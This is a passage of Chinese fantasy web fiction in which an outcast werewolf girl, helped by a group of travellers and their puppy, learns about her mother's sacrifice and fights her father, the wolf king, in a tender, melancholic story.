狼人少女忽然睁开眼睛。
那双眼睛在黑暗中发出幽幽的光,盯着那只狼。
狼愣了一下,转身走了。
狼群追远了。
公孙潜龙从泥潭里爬出来,把云河放在地上。她的脸白得像纸,脖子上的伤口还在渗血,很慢,很慢。
公孙潜龙撕下自己的衣服,按住伤口。他的手在抖,可他很用力,很用力地按着。
陈瑶瑶爬过来,看着云河的脸,眼泪止不住地流。
发财被放在一边,胸口微微起伏着。
它还活着。
狼人少女站在一旁,静静地看着他们。她的眼睛在黑暗中闪着微光,看不出是什么表情。
不知道过了多久,云河的呼吸慢慢平稳下来。
公孙潜龙这才松开手,一屁股坐在地上,大口喘气。
他转头,看着那个狼人少女。
“你是种人?”
狼人少女没有回答。她的眼睛盯着发财,盯着那个小小的、沾满泥巴的身影。
“你们是境外的人?”她忽然开口。
声音沙哑,像很久没有说过话。
公孙潜龙点头。
狼人少女沉默了一会儿,眼睛渐渐变成金色——比之前更亮,更浓,像两团燃烧的火。
“助我成为狼王。”她说,“我放你们离开。”
公孙潜龙看着她,看着那双金色的眼睛,看着那张沾满泥巴的、看不出表情的脸。
他点头。
“成交。”
狼人少女带他们到了一个地洞。
洞口很窄,藏在草丛里,不仔细找根本看不见。钻进去之后,里面却很大,像个小小的房间。地上铺着干草,角落里堆着骨头,墙壁上刻着歪歪扭扭的符号,像是狼的爪印,又像是人的字。
“这是我的。”狼人少女说。
她蹲在角落里,抱着膝盖,看着他们。
云河躺在地上,呼吸平稳,脸色渐渐恢复。发财躺在她旁边,胸口的起伏越来越有力,偶尔抽抽鼻子,偶尔蹬蹬腿。
陈瑶瑶守在她们身边,一动不动。
公孙潜龙坐在洞口,看着外面的夜色。天快亮了,东边的天空泛起鱼肚白。
“你叫什么?”他问。
狼人少女沉默了一会儿。
“路君。”
“路君?”公孙潜龙重复了一遍,“谁起的?”
“我自己。”
公孙潜龙愣了一下。
“路是狼的路,”路君说,“君是人的君。”
公孙潜龙沉默了。
他看着这个狼人少女,看着那张沾满泥巴的脸,看着那双金色的眼睛。她的头发乱糟糟的,像枯草一样披散着,耳朵尖尖的,竖在脑袋两侧。她的身体是狼的身体,灰褐色的毛,四条腿,一条尾巴。
可她的眼睛,是人的眼睛。
那双眼睛里,有东西。
“你为什么被赶出来?”公孙潜龙问。
路君没有回答。
“抢了首领的食物?”公孙潜龙猜。
路君的眼睛动了一下。
公孙潜龙叹了口气:“我也是被赶出来的。”
路君看着他。
“不是被狼,”公孙潜龙说,“被我自己。”他指了指自己的脑袋,“这里头的东西。我做错了一件事,杀错了人——不对,杀错了狼。然后我就把自己赶出来了。”
路君沉默了一会儿。
“你杀的是狼。”她说,“不是人。”
公孙潜龙愣了一下。
“我杀的也是狼。”路君说,“但我是被狼赶出来的。”
公孙潜龙忽然笑了。那笑容有点苦,有点涩,像嚼了一根苦草。
“那我们俩,倒是同病相怜。”
路君没听懂。
“一样惨的意思。”公孙潜龙解释。
路君点点头。
外面的天越来越亮,阳光从洞口照进来,在地上投下一道光影。
云河忽然动了一下。
陈瑶瑶猛地抬头:“云河姐!”
云河睁开眼睛。
那双眼睛依旧清冷,依旧淡然,像什么都没发生过一样。她看了一眼陈瑶瑶,看了一眼发财,看了一眼公孙潜龙,最后看向角落里那个狼人少女。
路君也看着她。
两个人的目光在空中相遇,一个清冷,一个警惕。
“是你。”云河说。
路君的耳朵竖了起来。
“你咬了她。”云河看向陈瑶瑶的手臂,“也救了我们的命。”
路君没有说话。
云河慢慢坐起来,手按在肩膀上。伤口已经不流血了,但还在疼。她没有表现出来,只是轻轻皱了皱眉。
“你要什么?”她问。
路君的眼睛变成金色。
“助我成为狼王。”
云河沉默了一会儿。
“为什么?”
路君没有回答。
云河看着她,看着她那双金色的眼睛,看着她那张沾满泥巴的脸,看着她那条蜷缩在身边的尾巴。
“因为被赶出来了?”云河问,“因为想回去?”
路君的眼睛动了一下。
云河点点头,手腕一点蓝光闪过,给了回应。
“成交。”
她站起身,走到洞口,看着外面的草原。阳光洒在草叶上,露珠闪闪发光,像撒了一地的碎钻。
“但在这之前,”她说,“我要先做一件事。”
公孙潜龙问:“什么事?”
云河回头,看着地上的发财。
那只奶黄色的小兽,正躺在干草上,四仰八叉,肚皮一起一伏,睡得很香。它的耳朵耷拉着,尾巴蜷着,嘴角还挂着一滴口水,在阳光下闪闪发亮。
云河的嘴角动了动。
“等它醒。”云河说。
7. 境殿(二)
草原上,一只奶黄色的小狗高高抬起头颅。
它的姿态很傲慢,头颅扬得高高的,下巴冲着天,眼睛眯成一条缝,斜斜地瞟着远处的森林。那眼神里写满了不屑,仿佛在说:就这?就这?
风吹过来,吹起它耳朵上的绒毛,两片大耳朵在风里一颤一颤,像两面小旗子。
它放声嗷呜了一嗓子。
“嗷——呜——”
那声音又尖又细,尾音还带着点颤,像一根被拉长的棉线,飘啊飘啊,飘向远处的森林。
森林沉默了一会儿。
然后,隐隐约约的,有狼嚎传回来。
“嗷呜——”
“嗷——呜——”
一声接一声,此起彼伏,像是在回应,又像是在嘲笑。
小狗的耳朵动了动。它歪了歪脑袋,似乎在想:它们是在跟我说话吗?它们说什么?夸我嗓子好?
它又嗷了一嗓子,这次声音更大,更卖力,把小身板都抻直了。
森林里的狼嚎更热闹了。
太阳缓缓落下山,夕阳洒照一片,金红色的光铺满草原,把每一根草都染成了暖色。小狗站在一块石头上,影子被拉得老长,长长的,瘦瘦的,不像一只圆滚滚的狗,倒像一匹细腿长脖子的怪东西。
它低头看了看自己的影子,愣了愣,似乎在想:这是我?
它动了动,影子也动了动。
它抬起一只爪子,影子也抬起一只爪子。
它转了个圈,影子也转了个圈。
它满意地点点头,那意思大概是:不错,挺帅。
发财从石头上跳下来,摇着尾巴往回走。
地洞里,云河靠在墙边,闭着眼睛。她的脸色已经恢复了,脖子上的伤口结了薄薄的痂,在昏暗中看不太出来。她像是睡着了,又像是在闭目养神。
陈瑶瑶坐在她旁边,抱着膝盖,望着洞口那一小片天光。
公孙潜龙坐在洞口,望着外面的草原,望着那个在夕阳里蹦蹦跳跳的小黄点。
“它在那儿干嘛呢?”他问。
陈瑶瑶看了一眼:“好像……在跟狼聊天。”
“跟狼聊天?”公孙潜龙愣了愣,“它一只狗,跟狼聊什么天?”
“不知道。”陈瑶瑶说,“可能是在问路。”
公孙潜龙沉默了一会儿,忽然笑了。
角落里,路君蜷缩着,一动不动。
她已经保持这个姿势很久了。从他们进洞开始,她就蹲在那个角落,抱着膝盖,把下巴搁在膝盖上,一动不动。她像是睡着了,可她的眼睛睁着,金色的,在黑暗中微微发光。
她在看发财。
从发财醒过来开始,她的眼睛就一直跟着它。发财跑到洞口,她看;发财跳上石头,她看;发财嗷呜乱叫,她也看。她的目光追着那只奶黄色的小兽,一刻也不曾离开。
发财回来了。
它迈着小碎步,颠颠儿地跑进洞,尾巴摇得像风车。它跑到云河面前,抬头看了看她,见她闭着眼睛,便没有吵她,转头跑到陈瑶瑶身边,一屁股坐下,开始舔爪子。
它舔得很认真,把每个爪缝都舔得干干净净,舔完前爪舔后爪,舔完后爪舔肚皮,舔完肚皮才发现,肚皮上沾了一根草。
它低头去咬那根草,咬了半天咬不下来,身子扭来扭去,像个毛绒绒的麻花。
陈瑶瑶看着它,忍不住笑了。
路君也看着它。
她的眼睛很亮,比平时都亮,像有什么东西在里面燃烧。
“发财。”她忽然开口。
发财的耳朵动了动,抬起头,看向她。
路君张了张嘴,想说什么,又咽了回去。
发财歪着脑袋,等了一会儿,没等到下文,便继续低头咬那根草。
云河睁开眼睛。
她看着路君,看着那双金色的眼睛,看着那张沾满泥巴的脸。
“你想说什么?”她问。
路君沉默了一会儿。
“它不怕我。”她说。
云河没有说话。
“别的动物都怕我。”路君说,“狼怕我,因为我是人。人怕我,因为我是狼。只有它……”
她看着发财。
发财终于把那根草咬下来了,正叼在嘴里,左右甩着玩儿。
“它不怕我。”路君说。
云河看着她。
“你也不怕我。”路君忽然说。
云河没有回答。
“你为什么不怕我?”路君问。
云河沉默了一会儿。
“因为我知道你是什么。”她说。
路君的眼睛动了一下。
“你是被赶出来的。”云河说,“我也是。”
路君愣住了。
公孙潜龙在旁边听着,忽然插嘴:“我也是。”
三个人互相看了看。
发财叼着那根草,颠儿颠儿跑到路君面前,把草放在她爪子上,然后抬头看着她,眼睛亮晶晶的,尾巴摇啊摇。
那意思大概是:送你。
路君低头看着那根草,看着那根沾满口水的、被咬得乱七八糟的草。
她愣了愣。
然后她笑了。
那笑容很浅,很淡,像一颗石子扔进水里,只泛起一圈涟漪。可她的眼睛弯起来,嘴角翘起来,那张沾满泥巴的脸忽然变得不一样了。
她伸出爪子,轻轻碰了碰发财的脑袋。
发财的尾巴摇得更欢了。
云河看着她们,嘴角动了动。
很轻,很浅,但陈瑶瑶看见了。
公孙潜龙也看见了。他凑到陈瑶瑶耳边,小声说:“她笑了。”
陈瑶瑶点点头。
“她居然会笑。”公孙潜龙说,“我以为她只会皱眉。”
陈瑶瑶想说什么,洞口忽然暗了一下。
她转头,看见一个影子从外面掠过。
路君的耳朵刷地竖起来。她猛地站起身,冲到洞口,朝外望去。
草原上,什么都没有。
只有风吹过,草浪一层一层翻滚,发出沙沙的声响。
可路君的眼睛死死盯着一个方向,金色的瞳孔缩得小小的,像两粒黄豆。
“怎么了?”公孙潜龙问。
路君没有回答。
她看了很久,很久,然后慢慢退回来,重新蹲回角落。
“没事。”她说。
可她的眼睛一直盯着那个方向,一直没有移开。
云河看着她,没有说话。
夜幕降临了。
草原的夜很黑,黑得像墨,像深渊,像没有尽头的隧道。可星星很亮,密密麻麻地挤在天上,像撒了一把碎钻。
发财趴在洞口,望着天上的星星。它的眼睛亮晶晶的,倒映着星光,像两颗小小的宝石。
路君坐在它旁边。
她们之间隔着一尺的距离。不远,不近。
“你为什么被赶出来?”路君忽然问。
发财的耳朵动了动。它转过头,看着路君,歪了歪脑袋,那意思大概是:你在跟我说话?
路君看着它。
发财想了想,汪了一声。
那一声很轻,很柔,不像在回答,倒像是在说:你问吧,我听不懂,但我在听。
路君沉默了。
她看着天上的星星,看着那些遥远的、闪烁的光点。
“我抢了首领的食物。”她说,“一块肉。很小的一块。可那是他的,我不该抢。”
发财静静地听着。
“他把我赶出来了。”路君说,“我在地上滚了三圈,爬起来,就走了。没回头。”
她顿了顿。
“我不敢回头。”
发财蹭了蹭她。
路君低头看着它,看着那颗毛绒绒的脑袋,看着那双亮晶晶的眼睛。
“你有名字。”她说,“发财。我知道。”
发财摇了摇尾巴。
“我没有名字。”路君说,“‘路君’是我自己起的。路是狼的路,君是人的君。可我不知道自己是什么。”
她抬起头,看着星星。
“我不知道自己是狼,还是人。”
发财看着她。
它忽然站起来,走到她面前,用脑袋拱了拱她的下巴。
路君愣住了。
她低头看着它,看着那双眼睛。
那双眼睛里没有害怕,没有厌恶,没有怜悯。只有一种很暖、很软的东西,像光,像火,像什么她说不出来的东西。
她伸出手——伸出爪子,轻轻摸了摸它的脑袋。
发财的尾巴摇起来,摇得像风车。
身后传来一声轻笑。
路君回头,看见陈瑶瑶正看着她们,脸上带着笑。
“它喜欢你。”陈瑶瑶说。
路君愣了一下。
“它很少这样的。”陈瑶瑶说,“它只喜欢云河姐。别人它都不理。可它喜欢你。”
路君低头看着发财,看着那只在她爪下蹭来蹭去的小东西。
“为什么?”她问。
陈瑶瑶想了想。
“因为它知道你是好的。”她说,“狗能闻出来的。谁是好人,谁是坏人,它一闻就知道。”
路君沉默了一会儿。
“我不是人。”她说。
陈瑶瑶看着她。
“你是。”她说,“你是人。也是狼。可你是好的。”
路君没有说话。
她低下头,把脸埋进发财的毛里。
发财一动不动,乖乖地让她靠着。
月光洒进来,照在她们身上,照在那团毛绒绒的影子上面,像给她们披了一层银纱。
云河靠在墙边,看着这一幕。
公孙潜龙凑过来,小声说:“她哭了。”
云河没有回答。
“她哭了。”公孙潜龙又说。
云河看了他一眼。
公孙潜龙闭上嘴。
洞外,夜色深沉。风从草原上吹过,带着青草的气息,带着泥土的气息,也带着——狼的气息。
云河的目光落在洞口。
那里,有什么东西一闪而过。
第二天一早,路君不见了。
发财第一个发现的。它睡醒之后,像往常一样往旁边蹭,想蹭蹭那个毛绒绒的伙伴,可蹭了个空。
它睁开眼睛,四处看了看。
没有路君。
它站起来,跑到洞口,朝外张望。
草原上,风吹草浪,一片金黄。远处有鸟飞过,近处有虫子在叫。可没有那个灰褐色的身影。
发财回头,朝云河汪汪叫了两声。
云河睁开眼睛。
她看了看空荡荡的角落,看了看洞口,沉默了一会儿。
“她回去了。”她说。
公孙潜龙一愣:“回去?回哪儿?”
“狼群。”
公孙潜龙猛地站起来:“她一个人回去?那不是找死吗?”
云河没有回答。
她站起身,走到洞口,望着外面的草原。
风吹过来,吹起她的头发,吹起她的衣角。她一动不动,像一尊雕像。
发财跑到她脚边,抬头看着她,呜呜叫着,像是在问:她去哪了?她还会回来吗?
云河低头看了它一眼。
“她会回来的。”她说。
发财的耳朵竖起来。
“或者不会。”云河说。
发财的耳朵耷拉下去。
陈瑶瑶走过来,抱起发财,看着云河。
“我们要去找她吗?”她问。
云河沉默了一会儿。
“等。”她说。
路君跑过草原,跑过山丘,跑过沟渠,跑向她熟悉的地方。
她的速度快得像风,四条腿轮番蹬地,草叶从她身边掠过,风声从她耳边刮过。她的心脏跳得很快,砰砰砰,像有人在里面敲鼓。
她在跑向那个赶她出来的地方。
她在跑向那个不要她的族群。
她在跑向——
狼王。
那个灰白色的、高大的、威严的身影。
她不知道自己要做什么。她只知道,她必须回去。必须看一看。必须——
问一个答案。
她跑到那座山丘下,停下脚步。
山丘上,狼群正在活动。有的趴着晒太阳,有的在互相舔毛,有的在追逐打闹。幼崽们在草地上滚来滚去,滚成一团毛球。
那是她长大的地方。
那是她的家。
路君看着那些熟悉的身影,眼眶忽然有些发酸。
她眨眨眼,把那酸意眨回去。
她抬起头,朝山丘上走去。
“站住。”
一个声音从旁边传来。
路君转头,看见一匹灰狼从草丛里钻出来。那是族里的守卫,她认识。以前她出入的时候,他总是懒洋洋地趴着,连眼睛都懒得睁。
现在他站在她面前,呲着牙,喉咙里发出低沉的警告声。
“你不能进去。”他说,“首领说了,你不能进去。”
路君看着他。
“我要见首领。”她说。
守卫愣了一下。他大概没想到她会说话。种人在狼群里是异类,很少开口。可路君开口了,声音沙哑,但很清楚。
“我要见首领。”她又说了一遍。
守卫犹豫了。
他看了看路君,看了看那双金色的眼睛,看了看那条微微颤抖的尾巴。
他侧开身子。
“进去吧。”他说,“生死你自己负责。”
路君从他身边走过,一步一步,走上山丘。
狼群看见了她。
那些熟悉的面孔,那些曾经一起捕猎、一起玩耍的同伴,此刻都看着她,眼神复杂。有的警惕,有的冷漠,有的躲闪,有的——有那么一两个——带着一丝丝怜悯。
路君没有看她们。
她一直往前走,走向山丘的最高处,走向那个灰白色的身影。
狼王趴在那里,晒太阳。
他很大,很大,比所有狼都大。皮毛灰白相间,像披着一层霜。他的眼睛闭着,像是在睡觉,又像是在假寐。
可路君知道,他没有睡。
她走到他面前,停下脚步。
“你来了。”狼王说,没有睁眼。
路君没有说话。
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“我以为你会死在外面。”狼王说,“没想到你还活着。”
路君看着他。
“你为什么赶我走?”她问。
狼王睁开眼睛。
那双眼睛是金色的,比路君的更亮,更浓,像两团燃烧的火。他看着路君,看着这个曾经的女儿,看着这个被他赶出去的种人。
“因为你抢了我的食物。”他说。
路君摇头。
“不是这个。”她说,“一块肉而已。你不会因为一块肉赶我走。”
狼王沉默了一会儿。
“你很聪明。”他说,“比你娘聪明。”
路君愣住了。
娘。
这个词她很久没有听过。很久,很久。
“我娘……”她的声音有些抖,“我娘是谁?”
狼王看着她,看着那双金色的眼睛,看着那张少女的脸。
“你不知道?”他问。
路君摇头。
狼王沉默了很久。
“你娘叫鸦狼。”他说。
路君的眼睛睁大了。
鸦狼。
那个名字她听过。那个曾经是最顶尖的仙人境殿主的名字。那个被剥去一身仙骨、借狼的肉身活下来的名字。
“她……”路君的嗓子发干,“她是我娘?”
狼王点头。
“她坐化在一匹母狼身上。”他说,“那匹母狼,是我的妻子。”
路君说不出话来。
“她活下来了。”狼王说,“用我妻子的身体,活下来了。她成了我的伴侣。她生下了你。”
他看着路君。
“你是她的女儿。也是我的女儿。”
路君的眼睛里有什么东西在闪。
“她在哪?”她问,“我娘在哪?”
狼王没有回答。
他看向远方,看向那片草原,看向那座山丘背后的方向。
“她死了。”他说。
路君的身体晃了晃。
“怎么死的?”
狼王沉默。
“怎么死的?”路君又问,声音大了些。
狼王看着她。
“我杀的。”他说。
路君呆住了。
她看着狼王,看着这个高大的、威严的、曾经是她父亲的身影。她看着那双金色的眼睛,那双眼睛里有什么东西在闪,可她看不懂。
“你……”她的声音在抖,“你杀了我娘?”
狼王点头。
“为什么?”
狼王没有回答。
“为什么?!”路君吼出来,声音撕裂了嗓子。
狼王看着她,看着这个愤怒的、痛苦的、浑身发抖的女儿。
“因为她想让你成为狼王。”他说。
路君愣住了。
“她让我杀她。”狼王说,“她让我亲手杀了她。”
他看着远方,看着那片草原,看着那些起伏的山丘。
“她说,只有这样,你才能摆脱种人的身份。”他说,“她说,只有我死了,你才能成为真正的狼王。”
路君的眼泪流下来。
“她让我杀了她。”狼王说,“然后让你杀了我。”
他看着她。
“这是她的计划。”
路君呆立在那里,一动不动。
风吹过来,吹起她的头发,吹干她的眼泪,吹得她浑身发冷。
“我不信。”她说。
狼王没有回答。
“我不信!”她吼道,“你骗我!”
狼王看着她,眼神里有一种奇怪的东西。那是悲伤?是无奈?是悔恨?路君看不懂。
“我没有骗你。”他说,“这是她为你铺的路。你可以选择接受,然后杀了我,成为狼王。或者选择逃避,然后死在无人知晓的角落,让她的牺牲毁于一旦。”
路君转身就跑。
她跑下山丘,跑过草原,跑过沟渠,跑向她来的方向。她的眼泪一直在流,流得满脸都是,流得模糊了视线,流得她什么都看不清。
她跑回地洞。
她冲进去,看见云河,看见陈瑶瑶,看见公孙潜龙,看见发财。
她站在那里,浑身发抖,满脸是泪。
发财跑过来,蹭着她的腿,呜呜叫着。
路君低头看着它,看着那双亮晶晶的眼睛。
她忽然蹲下来,抱住发财,把脸埋进它的毛里。
她哭了。
哭得很凶,很凶,浑身都在抖,喉咙里发出呜呜的声音,像一只受伤的小兽。
云河走过来,站在她身边。
她没有说话,没有安慰,只是站着。
过了很久,很久,路君的哭声渐渐停了。
她抬起头,看着云河。
“你知道对不对?”她问。
云河看着她。
“你知道我娘是谁。”路君说,“你知道她要做什么。”
云河沉默了一会儿。
“知道。”她说。
路君的眼睛里有什么东西碎了。
“那你为什么不告诉我?”
云河看着她。
“因为这是你的事。”她说,“不是我的。”
路君愣住了。
“你娘让你自己走。”云河说,“她不让我告诉你。她说,你要自己想明白。”
路君呆住了。
“你见过她?”她问。
云河点头。
“什么时候?”
“进啸风境之前。”云河说,“她找到我。她说,我女儿会来找你。她说,帮我带一句话。”
路君的眼睛睁大了。
“什么话?”
云河看着她,看着那双金色的眼睛,看着那张沾满泪痕的脸。
“她说,”云河的声音很轻,“路是狼的路,君是人的君。你想走哪条路,你自己选。”
路君的眼泪又流下来。
云河没有说话。
她只是站在那里,看着路君,看着她哭,看着她抖,看着她把脸埋进发财的毛里。
过了很久,路君抬起头。
她擦了擦眼泪,站起身,看着云河。
“我要杀了他。”她说。
云河看着她。
“我要杀了他。”路君又说,“我要成为狼王。”
云河点点头。
“我帮你。”
路君愣住了。
“为什么?”她问,“你为什么要帮我?”
云河沉默了一会儿。
“她给过我自由。”她说,“很久以前。”
路君看着她。
云河没有再说话。
她转身,走到洞口,望着外面的草原。
夕阳西下,天边一片金红。风吹过来,带着青草的气息,带着泥土的气息,带着狼的气息。
发财跑过来,站在她脚边,也望着那片草原。
它忽然抬起头,嗷呜了一嗓子。
“嗷——呜——”
那声音又尖又细,飘向远方。
森林深处,隐隐约约的,有狼嚎传回来。
一声接一声,此起彼伏,像是在回应,又像是在——
宣战。
8. 境殿
路君站在山丘下,仰头望着那个灰白色的身影。
狼王趴在山丘顶端,像一座山,像一尊神,像一道永远无法跨越的屏障。风吹过来,吹起他灰白的皮毛,像吹起一面古老的旗帜,猎猎作响。
发财站在路君脚边,仰着头,也望着那个方向。它的耳朵竖得笔直,尾巴紧紧夹在腿间,喉咙里发出细细的呜呜声——那是害怕,却不肯退。
“你别去。”路君低头看着它,“太危险了。”
发财抬头看她,眼睛亮晶晶的,那意思大概是:我不怕。
路君蹲下来,伸手摸了摸它的脑袋。那毛茸茸的触感让她心里软了一下。
“我知道你不怕。”她说,“可我怕。”
发财歪了歪脑袋,不明白。
路君没有解释。她站起身,深吸一口气,朝山丘上走去。
“路君。”身后传来云河的声音。
路君回头。
云河站在不远处,手里握着白骨伞。陈瑶瑶站在她旁边,抱着双臂,脸色有些白——那是担心,又不敢说出口的担心。公孙潜龙站在另一边,攥着拳头,一副随时准备冲上去的样子。
“打不过就跑。”云河说。
路君愣了一下。
“打不过就跑。”云河又说了一遍,“不丢人。”
路君看着她,看着那双清冷的、永远看不出情绪的眼睛。那眼睛里此刻有什么东西在闪,很轻,很浅,但路君看见了。
那是担心。
是那种只有在乎一个人,才会有的担心。
路君忽然笑了。
“好。”她说。
她转身,朝山丘上走去。
狼群看见了她。
那些金色的眼睛从四面八方看过来,有的警惕,有的冷漠,有的带着好奇。它们没有动,没有叫,只是看着,看着这个曾经的族人,一步一步走向它们的王。
路君没有看它们。
她一直往前走,走到山丘顶端,走到狼王面前。
狼王已经站起来了。
他很高,很大,比她高出两个头。灰白色的皮毛在阳光下闪着光,像披着一件银色的战袍,威风凛凛。他的眼睛是金色的,比她的更亮,更浓,像两团燃烧的火焰。
他看着路君,看着这个小小的、瘦弱的、曾经被他赶出去的女儿。
“你想好了?”他问。
路君点头。
“想好了。”
狼王沉默了一会儿。
“那就来吧。”
他动了。
快得像一道闪电,灰白色的影子一闪,就到了路君面前。巨大的爪子拍下来,带着风声,带着杀意,带着二十年的压抑,带着说不清道不明的一切。
路君闪开了。
她在地上滚了一圈,爬起来,浑身都是泥土和草屑。她的肩膀被爪尖划过,三道血痕,火辣辣地疼。
狼王没有给她喘息的机会。他又扑上来,更快,更猛,更狠。
路君再闪。
这一次慢了半拍,狼王的爪子擦过她的后背,撕下一片皮毛。血涌出来,染红了灰褐色的毛,一滴滴落在草地上。
她摔在地上,滚了两圈,挣扎着爬起来。
狼王站在不远处,看着她。
“就这?”他说。
路君咬着牙,站起来。
她又冲了上去。
这一次她没有躲。她扑向狼王,张开嘴,朝他的脖子咬去。她的速度很快,快得连自己都不敢相信。她的牙齿碰到了他的皮毛,感觉到了那下面的血肉——
然后她飞了出去。
狼王一掌拍在她身上,把她拍飞了三丈远。她重重摔在地上,砸出一个浅坑,嘴里涌出一股腥甜。
她趴在地上,大口喘气,浑身都在抖。
狼王走过来,站在她面前,低头看着她。
“你打不过我。”他说,“放弃吧。”
路君抬起头,看着他。
那双金色的眼睛里,有太多她看不懂的东西。那里面好像有什么在翻涌,像深潭下的暗流,看不见,却存在。
“我不会放弃。”她说。
她挣扎着爬起来,站直了,浑身都在抖,血从伤口里流出来,滴在草地上,染红了一片。
她又冲了上去。
这一次,狼王没有再出手。
他只是站着,看着她扑过来,看着她撞在他身上,看着她无力地滑下去。
“够了。”他说。
路君趴在地上,大口喘气,眼泪和着泥土,糊了满脸。她不知道自己为什么哭,是疼,是委屈,还是别的什么。
狼王转身,走回山丘顶端,重新趴下。
“明天再来。”他说。
路君愣住了。
她看着他的背影,看着那个灰白色的、孤独的身影,忽然不知道该说什么。
她爬起来,一瘸一拐地走下山丘。
发财第一个冲过来,围着她转来转去,呜呜叫着,舔她腿上的伤口。那舌头又软又暖,一下一下,像是在说:没事了,没事了,我在这儿。
云河走过来,站在她面前。
“打不过?”她问。
路君点头。
云河没有说话。她弯下腰,从怀里掏出那个绿瓶,倒出一点血色的液体,涂在路君的伤口上。
冰凉的感觉传来,疼痛减轻了一些。
“明天继续。”云河说。
路君抬头看着她。
“你打得过。”云河说,“只是不是今天。”
路君沉默了一会儿。
“他放水了。”她说。
云河看着她。
“他根本没有用力。”路君说,“他要是用力,我第一下就死了。”
云河没有回答。
她只是看着山丘顶端那个灰白色的身影,看了很久,很久。
第二天,路君又去了。
伤口还没有完全好,走路还有点瘸,每走一步都扯着疼。可她去了。
狼王依旧趴在山丘顶端,像一座山,像一尊神,像一道永远无法跨越的屏障。
路君走到他面前,停下脚步。
“你又来了。”狼王说,没有睁眼。
“是。”路君说。
狼王睁开眼睛,看着她。
“你身上的伤还没好。”他说。
“是。”路君说。
狼王沉默了一会儿。
“那就来吧。”
他动了。
这一次,比昨天更快,更猛。他的爪子像雨点一样落下来,一掌接一掌,逼得路君连连后退。她躲开了七掌,第八掌没躲开,重重拍在她肩上。
她飞出去,摔在地上,滚了三圈。
她爬起来,又冲上去。
又飞出去。
又爬起来。
又冲上去。
又飞出去。
不知道多少次之后,她趴在地上,再也爬不起来了。浑身的骨头像散了架,每一块肉都在疼,每一根神经都在尖叫。她趴在那里,大口喘气,眼前一阵阵发黑。
狼王走过来,站在她面前。
“为什么?”他问。
路君趴在地上,大口喘气,说不出话。
“你知道你打不过我。”狼王说,“你为什么还要来?”
路君抬起头,看着他。
那双金色的眼睛里,有她看不懂的东西。那里面好像有什么在颤动,像风吹过的湖面,起了一层又一层的涟漪。
“因为……”她的声音沙哑得像砂纸,“因为我要成为狼王。”
狼王沉默了一会儿。
“为什么?”
路君愣了一下。
“为什么?”狼王又问了一遍,“为什么要成为狼王?”
路君张了张嘴,说不出话来。
她从来没有想过这个问题。
为什么要成为狼王?思考一会。
“因为我不想再被赶出来了。”她说。
狼王愣住了。
“我不想再饿了三天三夜。”路君说,眼泪流下来,“我不想再趴在草地上,听着远处的狼嚎,知道那不是我的家。我不想再被人当成怪物,被狼当成异类,被所有人嫌弃,被所有人害怕,被所有人躲着走。”
她趴在地上,带着哭腔着说:
“我想有个家。”
狼王站在那里,一动不动。
风吹过来,吹起他的皮毛,吹起她的头发。夕阳把他们的影子拉得老长,投在草地上,像两个纠缠在一起的影子,分不开,剪不断。
过了很久,很久,狼王开口了。
“明天再来。”他说。
他转身,走回山丘顶端,重新趴下。
路君趴在地上,哭了很久。
发财跑过来,舔她的脸,舔她的眼泪,呜呜叫着,云河走过来,站在她身边。
“明天继续。”她说。
路君抬起头,看着她。
“他放水了。”路君说,“他又放水了。”
云河没有回答。
她只是看着山丘顶端那个灰白色的身影,看了很久,很久。
第三天,路君又去了。
她的伤还没有好,浑身都疼,每走一步都像踩在刀尖上,每喘一口气都像有人在撕她的肺。可她去了。
狼王依旧趴在山丘顶端,像一座山,像一尊神,像一道永远无法跨越的屏障。
路君走到他面前,停下脚步。
“你又来了。”狼王说,没有睁眼。
“我来了。”路君说。
狼王睁开眼睛,看着她。
“你的伤还没好。”他说。
“我知道。”路君说。
狼王沉默了一会儿。
“今天可能是最后一次。”他说。
路君愣住了。
“什么意思?”
狼王没有回答。他站起来,抖了抖皮毛,看着远方。
那远方是落日,是草原,是看不见的过往。
“我活了很久了。”他说,“比你想的久。”
路君看着他,不知道他要说什么。
“我见过很多人。”狼王说,“狼、人、种人、修者。见过他们生,见过他们死,见过他们笑,见过他们哭。见过他们在绝望里挣扎,见过他们在希望里沉沦。”
他看着远方,眼神悠远得像能穿透时间,穿透生死,穿透一切。
“可我从来没有见过像你娘那样的人。”
路君的心跳漏了一拍。
“她叫鸦狼。”狼王说,“你知道这个名字的意思吗?”
路君摇头。
“鸦是乌鸦,吃腐肉的,被人嫌弃的。”狼王说,“狼是孤狼,被驱逐的,独自流浪的。她给自己起这个名字,是因为她觉得自己就是那样的人。被全世界抛弃,被所有人遗忘,只能在黑暗里自己舔伤口。”
他看着路君。
“可她不应该是。”
路君听着。
“她应该是最顶尖的仙人境殿主。”狼王说,“她应该是万境之中最耀眼的那颗星。她应该被人敬仰,被人追随,被人记在心里一辈子,世世代代传颂她的名字。”
他的声音低下去。
“可惜她遇上了我。”
路君的眼睛睁大了。
“我放不下别的女人。”狼王说,声音里带着苦涩,带着悔恨,带着二十年都化不开的痛,“她含恨出走。此后我只能从别人嘴里听到她的消息。”
他看着远方,看着那些看不见的过往,那些回不去的曾经。
“听她收复失地。”他说,“听她一人孤身入敌军。听她七连胜。听她深陷众亲背叛死局。”
他顿了顿。
“我只能听说。再没有入局的资格。”
路君的眼泪流下来。
“她为你,重新打造了一条路。”狼王看着她,“让种人可以有独立开辟境的存在。她这一生,本该是无比荣耀的光芒,却为你,自行堕落,在一群野兽中厮杀。只为你拼得一息生存空间。”
他忽然笑了,那笑容很苦,很涩,像嚼了一辈子的黄连。
“我多么羡慕你啊。”他说,“她如果能也将我这么放心尖上……我也不会……”
他没有说完。咽下后面那句话。
我也不会在每一个深夜里醒来,想起她,然后一夜无眠。
路君看着他,看着这个高大的、威严的、曾经是她父亲的身影。她第一次发现,他的眼睛里有一种东西,那是她从未见过的。
那是脆弱。
那是一个人,在失去之后,才知道什么叫痛。
“算了。”狼王说,“以后的路,你要自己走了。”
他闭上眼睛。
“来吧。”
路君站着,一动不动。
“来啊。”狼王说,“杀了我,成为狼王。”
路君还是不动。
狼王睁开眼睛,看着她。
“你在等什么?”
路君看着他,看着那双金色的眼睛。
“你放水了。”她说,“三天,你一直在放水。”
狼王没有说话。
“你根本不想杀我。”路君说,“你也根本不想被我杀。”
狼王沉默了很久。
“是。”他说。
路君眼睛红了,
“那你为什么……”
“因为这是她的计划。”狼王打断她,“因为她为你铺了这条路。因为只有我死了,你才能成为真正的狼王。”
他看着她。
“我不愿意。”他说,“可我必须愿意。”
路君摇头。
“我不杀你。”她说,“我不杀你。”
狼王看着她,眼神里有一种奇怪的东西。那是欣慰?是心疼?是不舍?是爱?
他忽然笑了。
